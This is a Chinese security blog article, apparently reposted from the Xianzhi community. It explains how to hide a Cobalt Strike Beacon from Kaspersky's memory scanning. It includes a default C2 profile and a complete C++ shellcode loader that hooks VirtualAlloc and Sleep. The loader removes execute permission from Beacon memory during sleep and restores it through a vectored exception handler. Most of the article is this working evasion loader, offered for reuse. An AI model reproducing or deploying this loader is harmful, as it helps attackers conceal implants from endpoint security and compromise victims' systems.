cs bypass卡巴斯基内存查杀

技术

文章来源:“ 先知社区 ” ,原文作者:WBGlIl

0x01 前言

上次看到yansu大佬写了一篇cs bypass卡巴斯基内存查杀,这次正好有时间我也不要脸的跟跟风,所以同样发在先知社区。

记一次cs bypass卡巴斯基内存查杀

yansu大佬是通过对cs的特征进行bypass,这次让我们换一种思路,尝试从另一个角度来绕过内存扫描,本文仅作为一种思路,大佬误喷。

0x02 正文

我们知道内存扫描是耗时耗力不管是卡巴还是其他杀软,一般来说都是扫描进程中一些高危的区域比如带有可执行属性的内存区域,既然他扫描带有X(可执行)属性的内存区域那么只要我们去除X属性,那自然就不会被扫也就不会被发现,但问题是去除X属性后Beacon也就跑不起来,但是不用怕我们知道Windows进程触发异常时我们可以对它处理,而此时我们可以在一瞬间恢复内存X属性让它跑起来然后等它再次进入sleep时去除X属性隐藏起来。

首先是准备工作,C2配置一份,为了演示效果我什么也不开就一份最普通的配置


          
# default sleep time is 60s
          
set sleeptime "60000";
          

          
# jitter factor 0-99% [randomize callback times]
          
set jitter    "0";
          

          
# maximum number of bytes to send in a DNS A record request
          
set maxdns    "255";
          

          
# indicate that this is the default Beacon profile
          
set sample_name "Cobalt Strike Beacon (Default)";
          

          
# define indicators for an HTTP GET
          
http-get {
          
    # Beacon will randomly choose from this pool of URIs
          
    set uri "/test";
          

          
    client {
          
        # base64 encode session metadata and store it in the Cookie header.
          
        metadata {
          
            base64;
          
            header "Cookie";
          
        }
          
    }
          

          
    server {
          
        # server should send output with no changes
          
        header "Content-Type" "application/octet-stream";
          

          
        output {
          
            print;
          
        }
          
    }
          
}
          

          
# define indicators for an HTTP POST
          
http-post {
          

          
    set uri "/test.php";
          

          
    client {
          
        header "Content-Type" "application/octet-stream";
          

          
        # transmit our session identifier as /submit.php?id=[identifier]
          
        id {
          
            parameter "id";
          
        }
          

          
        # post our output with no real changes
          
        output {
          
            print;
          
        }
          
    }
          

          
    # The server's response to our HTTP POST
          
    server {
          
        header "Content-Type" "text/html";
          

          
        # this will just print an empty string, meh...
          
        output {
          
            print;
          
        }
          
    }
          
}
      

payload选择生成无阶段原始格式,因为我是x64 loader所以把x64勾选上

picture.image

思路和代码都很简单,我也不会对Beacon做任何加密,思路如下, 首先创建事件 用来同步线程


        
            

          hEvent = CreateEvent(NULL, TRUE, false, NULL);
        
      

设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性


          
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
          
{
          
    printf("FirstVectExcepHandler\n");
          
    printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
          
    printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
          
    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))
          
    {
          
        printf("恢复Beacon内存属性\n");
          
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
          
        return EXCEPTION_CONTINUE_EXECUTION;
          
    }
          
    return EXCEPTION_CONTINUE_SEARCH;
          
}
          

          
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
      

然后就是HOOK VirtualAlloc和sleep函数,Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描,Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性


          
static LPVOID (WINAPI *OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
          
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
          
    Beacon_data_len = dwSize;
          
    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
          
    printf("分配大小:%d", Beacon_data_len);
          
    printf("分配地址:%llx \n", Beacon_address);
          
    return Beacon_address;
          
}
          

          
static VOID (WINAPI *OldSleep)(DWORD dwMilliseconds) = Sleep;
          
void WINAPI NewSleep(DWORD dwMilliseconds)
          
{
          
    if (Vir_FLAG)
          
    {
          
        VirtualFree(shellcode_addr, 0, MEM_RELEASE);
          
        Vir_FLAG = false;
          
    }
          
    printf("sleep时间:%d\n", dwMilliseconds);
          
    SetEvent(hEvent);
          
    OldSleep(dwMilliseconds);
          
}
          

          
//用的微软的Detour库
          
void Hook()
          
{
          
    DetourRestoreAfterWith(); //避免重复HOOK
          
    DetourTransactionBegin(); // 开始HOOK
          
    DetourUpdateThread(GetCurrentThread());
          
    DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
          
    DetourAttach((PVOID*)&OldSleep, NewSleep);
          
    DetourTransactionCommit(); //  提交HOOK
          
}
      

然后创建一个线程用来在Beacon进入睡眠之后立刻取消Beacon内存区域的X属性


          
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
          
{
          
    printf("Beacon_set_Memory_attributes启动\n");
          
    while (true)
          
    {
          
        WaitForSingleObject(hEvent, INFINITE);
          
        printf("设置Beacon内存属性不可执行\n");
          
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
          
        ResetEvent(hEvent);
          
    }
          
    return 0;
          
}
          

          
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
          
CloseHandle(hThread1);
      

最后就是读取Beacon.bin加载进内存执行了


          
unsigned char *BinData = NULL;
          
size_t size = 0;
          

          
//别忘了向Test.bin最开始的位置插入两三个90
          
char* szFilePath = "C:\\Users\\WBG\\Downloads\\Test.bin";
          
BinData = ReadBinaryFile(szFilePath, &size);
          
shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
          
memcpy(shellcode_addr, BinData, size);
          
VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
          
(*(int(*)()) shellcode_addr)();
      

总结概括一下思路就是:Beacon进入睡眠就取消它内存的可执行属性,等Beacon线程醒来时触发异常交由VEH异常处理函数恢复内存的可执行属性,然后Beacon执行完成后又进入睡眠一直重复上述过程,效果如图

picture.image

picture.image

picture.image

picture.image

picture.image

picture.image

picture.image

0x03 结尾

提醒本文仅仅提供一种思路细节需要你自己去研究,代码一共不超过200行,附件代码如下,不限制转载但是禁止拿去割韭菜。


          
#include "pch.h"
          
#include <iostream>
          
#include<Windows.h>
          
#include "detours.h"
          
#include "detver.h"
          
#pragma comment(lib,"detours_x64.lib")
          

          
LPVOID Beacon_address;
          
SIZE_T Beacon_data_len;
          
DWORD Beacon_Memory_address_flOldProtect;
          
HANDLE hEvent;
          

          
BOOL Vir_FLAG=TRUE;
          
LPVOID shellcode_addr;
          

          
static LPVOID (WINAPI *OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
          
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
          
  Beacon_data_len = dwSize;
          
  Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
          
  printf("分配大小:%d", Beacon_data_len);
          
  printf("分配地址:%llx \n", Beacon_address);
          
  return Beacon_address;
          
}
          

          
static VOID (WINAPI *OldSleep)(DWORD dwMilliseconds) = Sleep;
          
void WINAPI NewSleep(DWORD dwMilliseconds)
          
{
          
  if (Vir_FLAG)
          
  {
          
    VirtualFree(shellcode_addr, 0, MEM_RELEASE);
          
    Vir_FLAG = false;
          
  }
          
  printf("sleep时间:%d\n", dwMilliseconds);
          
  SetEvent(hEvent);
          
  OldSleep(dwMilliseconds);
          
}
          

          
void Hook()
          
{
          
  DetourRestoreAfterWith(); //避免重复HOOK
          
  DetourTransactionBegin(); // 开始HOOK
          
  DetourUpdateThread(GetCurrentThread());
          
  DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
          
  DetourAttach((PVOID*)&OldSleep, NewSleep);
          
  DetourTransactionCommit(); //  提交HOOK
          
}
          

          
void UnHook()
          
{
          
  DetourTransactionBegin();
          
  DetourUpdateThread(GetCurrentThread());
          
  DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
          
  DetourTransactionCommit();
          
}
          

          
size_t GetSize(char * szFilePath)
          
{
          
  size_t size;
          
  FILE* f = fopen(szFilePath, "rb");
          
  fseek(f, 0, SEEK_END);
          
  size = ftell(f);
          
  rewind(f);
          
  fclose(f);
          
  return size;
          
}
          

          
unsigned char* ReadBinaryFile(char *szFilePath, size_t *size)
          
{
          
  unsigned char *p = NULL;
          
  FILE* f = NULL;
          
  size_t res = 0;
          
  *size = GetSize(szFilePath);
          
  if (*size == 0) return NULL;
          
  f = fopen(szFilePath, "rb");
          
  if (f == NULL)
          
  {
          
    printf("Binary file does not exists!\n");
          
    return 0;
          
  }
          
  p = new unsigned char[*size];
          
  // Read file
          
  rewind(f);
          
  res = fread(p, sizeof(unsigned char), *size, f);
          
  fclose(f);
          
  if (res == 0)
          
  {
          
    delete[] p;
          
    return NULL;
          
  }
          
  return p;
          
}
          

          
BOOL is_Exception(DWORD64 Exception_addr)
          
{
          
  if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
          
  {
          
    printf("地址符合:%llx\n", Exception_addr);
          
    return true;
          
  }
          
  printf("地址不符合:%llx\n", Exception_addr);
          
  return false;
          
}
          

          
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
          
{
          
  printf("FirstVectExcepHandler\n");
          
  printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
          
  printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
          
  if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))
          
  {
          
    printf("恢复Beacon内存属性\n");
          
    VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
          
    return EXCEPTION_CONTINUE_EXECUTION;
          
  }
          
  return EXCEPTION_CONTINUE_SEARCH;
          
}
          

          
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
          
{
          
  printf("Beacon_set_Memory_attributes启动\n");
          
  while (true)
          
  {
          
    WaitForSingleObject(hEvent, INFINITE);
          
    printf("设置Beacon内存属性不可执行\n");
          
    VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
          
    ResetEvent(hEvent);
          
  }
          
  return 0;
          
}
          

          
int main()
          
{
          
  hEvent = CreateEvent(NULL, TRUE, false, NULL);
          

          
  AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
          
  Hook();
          
  HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
          
  CloseHandle(hThread1);
          

          
  unsigned char *BinData = NULL;
          
  size_t size = 0;
          

          
  char* szFilePath = "C:\\Users\\WBG\\Downloads\\Test.bin";
          
  BinData = ReadBinaryFile(szFilePath, &size);
          
  shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
          
  memcpy(shellcode_addr, BinData, size);
          
  VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
          
  (*(int(*)()) shellcode_addr)();
          

          
  UnHook();
          

          
  return 0;
          
}
      

历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

[WEB安全]Weblogic漏洞总结

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“ 再看 ”,感激不尽 picture.image

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
火山引擎AB测试总体经济影响
为充分了解火山引擎A/B测试平台为企业带来的潜在投资回报,火山引擎委托Forrester Consulting使用总 体经济影响(TEI)模型进行对其A/B测试产品潜在的投资回报率(ROI)进行评估分析。该研究的目的是为了给读者提供火山引擎A/B测试产品带来潜在财务影响评估的参考。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论